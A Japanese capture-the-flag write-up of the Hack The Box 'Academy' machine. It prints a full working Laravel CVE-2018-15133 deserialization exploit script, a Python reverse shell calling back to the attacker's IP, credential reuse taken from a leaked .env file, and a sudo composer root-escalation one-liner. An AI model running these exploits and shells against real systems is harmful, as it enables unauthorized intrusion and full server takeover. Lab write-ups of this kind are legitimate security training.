まえがき
この記事はAcademyのWriteupです📝
今回はLaravelの脆弱性から色々と紐解いていきます。
Machine Info
Name : Academy
IP Address: 10.10.10.215
OS: Linux
🐧
Recon
Port Scan - Nmap
┌──(kali㉿kali)-[~]
└─$ nmap 10.10.10.215 -Pn -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-19 20:03 JST
Initiating Parallel DNS resolution of 1 host. at 20:03
Completed Parallel DNS resolution of 1 host. at 20:03, 0.16s elapsed
Initiating Connect Scan at 20:03
Scanning 10.10.10.215 [1000 ports]
Discovered open port 22/tcp on 10.10.10.215
Discovered open port 80/tcp on 10.10.10.215
Increasing send delay for 10.10.10.215 from 0 to 5 due to 123 out of 409 dropped probes since last increase.
Increasing send delay for 10.10.10.215 from 5 to 10 due to max_successful_tryno increase to 4
Completed Connect Scan at 20:04, 34.21s elapsed (1000 total ports)
Nmap scan report for 10.10.10.215
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 34.45 seconds
22番と80番のポートが空いていることが分かる。
Name Resolution
名前解決を行う必要がある。
/etc/hostsのファイルにこれを書き込んでおく。
10.10.10.215 academy.htb
Site - academy.htb
実際アクセスしてみるとこんなページがみつかる。
右上から「Login」と「Register」もできるようだ。
Enumeration
他にもめぼしいものがないか探索していく。
dirsearch
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─$ dirsearch -u http://academy.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_academy.htb/_23-12-19_20-17-25.txt
Target: http://academy.htb/
[20:17:25] Starting:
[20:17:40] 403 - 276B - /.ht_wsr.txt
[20:17:40] 403 - 276B - /.htaccess.sample
[20:17:40] 403 - 276B - /.htaccess_orig
[20:17:40] 403 - 276B - /.htaccess.orig
[20:17:40] 403 - 276B - /.htaccessBAK
[20:17:40] 403 - 276B - /.htaccess.bak1
[20:17:40] 403 - 276B - /.htaccess.save
[20:17:40] 403 - 276B - /.htaccessOLD
[20:17:40] 403 - 276B - /.htaccess_extra
[20:17:40] 403 - 276B - /.htaccess_sc
[20:17:40] 403 - 276B - /.htaccessOLD2
[20:17:40] 403 - 276B - /.htm
[20:17:40] 403 - 276B - /.httr-oauth
[20:17:40] 403 - 276B - /.htpasswd_test
[20:17:40] 403 - 276B - /.htpasswds
[20:17:40] 403 - 276B - /.html
[20:17:44] 403 - 276B - /.php
[20:18:01] 200 - 968B - /admin.php
[20:18:31] 200 - 0B - /config.php
[20:18:52] 301 - 311B - /images -> http://academy.htb/images/
[20:18:52] 403 - 276B - /images/
[20:18:53] 302 - 54KB - /home.php -> login.php
[20:19:00] 200 - 964B - /login.php
[20:19:23] 200 - 1001B - /register.php
[20:19:27] 403 - 276B - /server-status
[20:19:28] 403 - 276B - /server-status/
Task Completed
色々見つかった。念の為gobersterでもやっておく。
gobuster
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt dir -u http://academy.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://academy.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 311] [--> http://academy.htb/images/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
gobusterは /images
しか見つからなかった。
dirsearchで見つけた admin.php
が気になったため、実際にアクセスしてみよう。
どうやらadmin専用のログインページになっているっぽい。
admin:admin
で入力してみるも、失敗。
Recon - Burp
BurpSuite
BurpSuiteを立ち上げて、調査を進める。
LoginPage - hogeアカウントでログインすることにも成功。
先ほどのReqestをみると、uid =
に情報が打ち込まれていることがわかる。
roleid
の部分で一般ユーザ or アドミンを識別しているのかもと予想が立てられる。
Attempt - Admin User Registration
Repeaterに送り込んでからroleid
の値を変更して、adminUser:admin
として登録をしてみる。
(admin, Admin, admin1234 等だと登録に失敗した。)
Recon - Admin
admin
のログインページからアドミンとしてログインに成功。
この中で怪しいのはFix issue with dev-staging-01.academy.htb
である。
ステータス部分がpending
になっていることから、まだ fixing issue のタスクが完了していないのだろう。
dev-staging-01.academy.htb
にもアクセスしたいので、
/etc/hostsのファイルにdev-staging-01.academy.htb
の追加で情報を書き込んでおく。
10.10.10.215 academy.htb dev-staging-01.academy.htb
dev-staging-01.academy.htb
Identification of Vulnerbility
アクセスしたページを色々と調べていくと、このようなものが見つかる。
Laravel
LaravelはPHPでWeb開発をする際に用いられるフレームワーク。
「フレームワーク」とは、システムやアプリを開発するのに頻繁に使う機能の動作や処理をひとまとめにしたもの。
Larabel
というPHPフレームワークが使用されていることが、分かると同時にAPP_KEY
が見えている状態になっていることにも注目。
CVE-2018-15133
Laravel AppKey Vulnerability
等で調べてみると、Remote Code Executionの脆弱性を見つけた。
Gaining Access - Exploit the Vulnerbility
Establishing a Reverse Shell
Netcatでリスナーを起動しておく。
┌──(kali㉿kali)-[~/Desktop/work]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
今回はこのページを参考にした。
(Writeupを書いている時に知ったのだが、今回のマシンを解く正攻法はMetasploit使用だったらしい...)
git clone
でもってくる。
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
Cloning into 'exploit_laravel_cve-2018-15133'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 16 (delta 5), reused 10 (delta 3), pack-reused 0
Receiving objects: 100% (16/16), 245.22 KiB | 7.43 MiB/s, done.
Resolving deltas: 100% (5/5), done.
pipで必要モジュールをダウンロードしてから、実行してみる。
┌──(root㉿kali)-[/home/kali/Desktop/work/exploit_laravel_cve-2018-15133]
└─# python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
Linux academy 5.4.0-52-generic #57-Ubuntu SMP Thu Oct 15 10:57:00
UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
システムのカーネル情報が返ってきた。
仕組みを理解するために、pwn_laravel.py
の内容を確認する。
┌──(root㉿kali)-[/home/kali/Desktop/work/exploit_laravel_cve-2018-15133]
└─# cat pwn_laravel.py
#! /usr/bin/env python3
#
# This code exploit the CVE-2018-15133 and it's based on CVE's author PoC and MSF exploit.
#
# kozmic's PoC in PHP: https://github.com/kozmic/laravel-poc-CVE-2018-15133
# Metasploit exploit in Ruby: https://www.exploit-db.com/exploits/47129
# Bug fixed by Laravel: https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0
#
# More reference:
# https://vulners.com/metasploit/MSF:EXPLOIT/UNIX/HTTP/LARAVEL_TOKEN_UNSERIALIZE_EXEC
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15133
from rich.console import Console
from rich.table import Table
from Crypto import Random
from Crypto.Cipher import AES
from hashlib import sha256
from Crypto.Util.Padding import pad
import hmac
import base64
import json
import argparse
import requests
from signal import signal, SIGINT
from sys import exit
console = Console()
def generate_payload(cmd, key, method=1):
# Porting phpgcc thing for Laravel RCE php objects - code mostly borrowed from Metasploit's exploit
if method == 1: # Laravel RCE1
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
elif method == 2: # Laravel RCE2
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\\Events\\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + str(len(cmd)) + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
elif method == 3: # Laravel RCE3
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\\Notifications\\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + str(len(cmd)) + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
else: # Laravel RCE4
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\\Validation\\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
value = base64.b64encode(payload_decoded.encode()).decode('utf-8')
key = base64.b64decode(key)
return encrypt(value, key)
def encrypt(text, key):
cipher = AES.new(key,AES.MODE_CBC)
value = cipher.encrypt(pad(base64.b64decode(text), AES.block_size))
payload = base64.b64encode(value)
iv_base64 = base64.b64encode(cipher.iv)
hashed_mac = hmac.new(key, iv_base64 + payload, sha256).hexdigest()
iv_base64 = iv_base64.decode('utf-8')
payload = payload.decode('utf-8')
data = { 'iv': iv_base64, 'value': payload, 'mac': hashed_mac}
json_data = json.dumps(data)
payload_encoded = base64.b64encode(json_data.encode()).decode('utf-8')
return payload_encoded
def extractResponse(resp):
return resp.split('<!DOCTYPE html>')[0] # Ugly but it works, not as good as regex
def key_handler(signal_received, frame):
print('Alrighty. Bye!')
exit(0)
def exploit(url, api_key, cmd, method=1):
payload = generate_payload(cmd, api_key, method)
return requests.post(url,headers={'X-XSRF-TOKEN': payload})
def main():
parser = argparse.ArgumentParser()
parser.add_argument('URL', help="Lararel website URL to attack")
parser.add_argument('API_KEY', help="Laravel website API_KEY encoded in base64")
parser.add_argument('-c','--command', default='uname -a', help="Command to execute in the vulnerable website, if not specfied will send 'uname -a'")
parser.add_argument('-m','--method', type=int, choices=[1,2,3,4], default=1, help="Indicates the unserialized payload version to use: 1 = Laravel RCE1 (default), 2 = Laravel RCE2, 3 = Laravel RCE3, 4 = Laravel RCE4")
parser.add_argument('-i', '--interactive', action="store_true", help="Execute commands interactively, it would mimic a tty")
args = parser.parse_args()
resp = exploit(args.URL, args.API_KEY, args.command, args.method)
console.print("\n" + extractResponse(resp.text))
if args.interactive:
signal(SIGINT, key_handler)
console.print('[bold yellow] Running in interactive mode. Press CTRL+C to exit.')
while True:
cmd = input('$ ')
if len(cmd) == 0: continue
resp = exploit(args.URL, args.API_KEY, cmd, args.method)
console.print(extractResponse(resp.text))
main()
main関数に注目すると-c
が明示されていない場合、デフォルトでuname -a
のコマンドが送信されることが分かる。
(-c
指定で好きなコマンドが送ることができるのだ)
parser.add_argument('-c','--command', default='uname -a', help="Command to execute in the vulnerable website, if not specfied will send 'uname -a'")
では、-c
部分にReverse Shellを送り込むようにしよう。
このページを参考にして、Reverse Shellを作っていく。
IP部分はip a
コマンド等で確認しておく。【tun0】
Port部分は先ほどリスナーを立てる際に指定した数字に設定する。
-c
部分に入れ込んでみよう。
※入れ込む際に前後をダブルクォートで囲み、ダブルクォートが既に使用されていた箇所はバックスラッシュでエスケープさせておく。
┌──(root㉿kali)-[/home/kali/Desktop/work/exploit_laravel_cve-2018-15133]
└─# python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
-c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.4\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'"
実行してみる。
┌──(kali㉿kali)-[~/Desktop/work]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.215] 47422
www-data@academy:/var/www/html/htb-academy-dev-01/public$ whoami
whoami
www-data
www-data
としてシェルを確立することができた。
Establishing a Interactive Shell
これは師匠に教わったおまじないだ。
これによってインタラクティブシェルを建てておくことで、操作性が向上する。
① Ctrl+Z を入力して接続をバックグラウンドにする。
② 以下を入力する。
$ ^Z
zsh: suspended nc -lnvp 4444
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# stty raw -echo; fg
[1] + continued nc -lnvp 4444
export TERM=xterm-256col
$ export SHELL=bash
Analysis & Recon
academy
のディレクトリまで移動する。
www-data@academy:/$ cd /var/www
cd /var/www
www-data@academy:/var/www$ ls -lta
ls -lta
total 12
drwxr-xr-x 4 root root 4096 Aug 13 2020 html
drwxr-xr-x 3 root root 4096 Aug 7 2020 .
drwxr-xr-x 14 root root 4096 Aug 7 2020 ..
www-data@academy:/var/www/html$ cd html
cd html
www-data@academy:/var/www/html$ ls
ls
academy htb-academy-dev-01 index.php
www-data@academy:/var/www/html$ ls -lta
ls -lta
total 20
drwxr-xr-x 12 www-data www-data 4096 Aug 13 2020 academy
drwxr-xr-x 12 root root 4096 Aug 13 2020 htb-academy-dev-01
drwxr-xr-x 4 root root 4096 Aug 13 2020 .
-rw-r--r-- 1 www-data www-data 50 Aug 9 2020 index.php
drwxr-xr-x 3 root root 4096 Aug 7 2020 ..
www-data@academy:/var/www/html$ cd academy
cd academy
www-data@academy:/var/www/html/academy$ ls -lta
ls -lta
total 280
drwxr-xr-x 4 www-data www-data 4096 Nov 9 2020 public
drwxr-xr-x 12 www-data www-data 4096 Aug 13 2020 .
-rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env
drwxr-xr-x 4 root root 4096 Aug 13 2020 ..
drwxr-xr-x 38 www-data www-data 4096 Aug 9 2020 vendor
-rw-r--r-- 1 www-data www-data 191621 Aug 9 2020 composer.lock
-rw-r--r-- 1 www-data www-data 651 Feb 7 2018 .env.example
-rw-r--r-- 1 www-data www-data 111 Feb 7 2018 .gitattributes
-rw-r--r-- 1 www-data www-data 155 Feb 7 2018 .gitignore
drwxr-xr-x 6 www-data www-data 4096 Feb 7 2018 app
-rwxr-xr-x 1 www-data www-data 1686 Feb 7 2018 artisan
drwxr-xr-x 3 www-data www-data 4096 Feb 7 2018 bootstrap
-rw-r--r-- 1 www-data www-data 1512 Feb 7 2018 composer.json
drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 config
drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 database
-rw-r--r-- 1 www-data www-data 1150 Feb 7 2018 package.json
-rw-r--r-- 1 www-data www-data 1040 Feb 7 2018 phpunit.xml
-rw-r--r-- 1 www-data www-data 3622 Feb 7 2018 readme.md
drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 resources
drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 routes
-rw-r--r-- 1 www-data www-data 563 Feb 7 2018 server.php
drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 storage
drwxr-xr-x 4 www-data www-data 4096 Feb 7 2018 tests
-rw-r--r-- 1 www-data www-data 549 Feb 7 2018 webpack.mix.js
.env
という隠しファイルを見つけることができる。中身を確認してみる。
www-data@academy:/var/www/html/academy$ cat .env
cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
DB_PASSWORD=mySup3rP4s5w0rd!!
を発見した。
ユーザがこのパスワードを使い回ししている可能性があるため、試してみよう。
ホームディレクトリに移動すると、6人のユーザがいることが分かる。
www-data@academy:/home$ ls -lta
ls -lta
total 32
drwxr-xr-x 20 root root 4096 Feb 10 2021 ..
drwxr-xr-x 5 mrb3n mrb3n 4096 Aug 12 2020 mrb3n
drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 2020 cry0l1t3
drwxr-xr-x 3 egre55 egre55 4096 Aug 10 2020 egre55
drwxr-xr-x 8 root root 4096 Aug 10 2020 .
drwxr-xr-x 2 g0blin g0blin 4096 Aug 10 2020 g0blin
drwxr-xr-x 2 ch4p ch4p 4096 Aug 10 2020 ch4p
drwxr-xr-x 2 21y4d 21y4d 4096 Aug 10 2020 21y4d
cry0l1t3
6人のユーザでmySup3rP4s5w0rd!!
を使ってSSH接続を試してみると、cry0l1t3
で入ることができた。
┌──(kali㉿kali)-[~/Desktop/work]
└─$ ssh cry0l1t3@academy.htb
cry0l1t3@academy.htb's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 21 Dec 2023 09:11:45 AM UTC
System load: 0.0
Usage of /: 37.8% of 13.72GB
Memory usage: 14%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for ens160: 10.10.10.215
IPv6 address for ens160: dead:beef::250:56ff:feb9:772d
89 updates can be installed immediately.
42 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Aug 12 21:58:45 2020 from 10.10.14.2
user.txt
も閲覧できるようになる。
$ bash
cry0l1t3@academy:~$ ls -lta
total 32
-r--r----- 1 cry0l1t3 cry0l1t3 33 Dec 21 09:06 user.txt
drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .
drwx------ 2 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .cache
drwxrwxr-x 3 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .local
lrwxrwxrwx 1 root root 9 Aug 10 2020 .bash_history -> /dev/null
drwxr-xr-x 8 root root 4096 Aug 10 2020 ..
-rw-r--r-- 1 cry0l1t3 cry0l1t3 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 cry0l1t3 cry0l1t3 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 cry0l1t3 cry0l1t3 807 Feb 25 2020 .profile
cry0l1t3@academy:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag
cry0l1t3 to mrb3n
sudo -l
cry0l1t3
が実行できる権限を確認してみるが、特にsudo -l
では発見できなかった。
cry0l1t3@academy:~$ sudo -l
[sudo] password for cry0l1t3:
Sorry, user cry0l1t3 may not run sudo on academy.
LinPeas
LinPeasを使っていくため、前準備をする。
① サーバをたてておく
┌──(kali㉿kali)-[~/Desktop/work]
└─$ python3 -m http.server 80 --bind 10.10.14.4
Serving HTTP on 10.10.14.4 port 80 (http://10.10.14.4:80/) ...
② LinPeasをダウンロード(サーバをたてた同じ階層で)しておく。
③ ターゲットマシンでwgetを実行しlinpeas.sh
を手にいれる。
cry0l1t3@academy:~$ wget http://10.10.14.4:80/linpeas.sh
--2023-12-21 10:09:22-- http://10.10.14.4/linpeas.sh
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=======>] 827.94K 9.76KB/s in 2m 21s
2023-12-21 10:11:43 (5.89 KB/s) - ‘linpeas.sh’ saved [847815/847815]
④ そのまま実行しようとしても権限が与えられていないので、権限を与えておく。
cry0l1t3@academy:~$ ./linpeas.sh
bash: ./linpeas.sh: Permission denied
cry0l1t3@academy:~$ chmod +x linpeas.sh
出力が大量にあるため探すのが大変だが、以下のようなものを発見できる。
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
mrb3n
のパスワードがAc@d3my!
だと分かった。mrb3n
にユーザを切り替え、sudo -l
を試してみる。
cry0l1t3@academy:~$ su mrb3n
Password:
$ bash
Privilege Escalation
mrb3n
が実行できる権限を確認してみる。
mrb3n@academy:/home/cry0l1t3$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
/usr/bin/composer
が実行できる。
Exploiting Composer
composer privilege escalation
で調べると、良さげなページが見つかる。
sudo
バイナリがsudoによってスーパーユーザーとしての実行を許可されている場合、昇格した特権を落とさず、ファイルシステムへのアクセスや特権アクセスの昇格、維持に使用される可能性がある。
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
これを参考にして、実行してみる。
mrb3n@academy:~$ TF=$(mktemp -d)
mrb3n@academy:~$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:~$ sudo composer --working-dir=$TF run-script x
[sudo] password for mrb3n:
PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
root
と返ってくる。
# whoami
root
# ls -lta
total 12
drwxrwxrwt 15 root root 4096 Dec 21 10:44 ..
drwx------ 2 mrb3n mrb3n 4096 Dec 21 10:41 .
-rw-rw-r-- 1 mrb3n mrb3n 46 Dec 21 10:41 composer.json
# cd ~
# ls -lta
total 68
-r--r----- 1 root root 33 Dec 21 09:06 root.txt
drwxr-xr-x 20 root root 4096 Feb 10 2021 ..
drwx------ 7 root root 4096 Feb 9 2021 .
-rw------- 1 root root 14087 Feb 9 2021 .viminfo
-r--r----- 1 root root 1748 Nov 6 2020 academy.txt
-rw-r--r-- 1 root root 186 Sep 14 2020 .wget-hsts
-rw-r--r-- 1 root root 66 Aug 12 2020 .selected_editor
lrwxrwxrwx 1 root root 9 Aug 10 2020 .bash_history -> /dev/null
drwxr-xr-x 3 root root 4096 Aug 8 2020 .composer
drwx------ 2 root root 4096 Aug 8 2020 .cache
drwxr-xr-x 3 root root 4096 Aug 7 2020 .local
drwxr-xr-x 3 root root 4096 Aug 7 2020 snap
drwx------ 2 root root 4096 Aug 7 2020 .ssh
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag
RootFlag
もGet。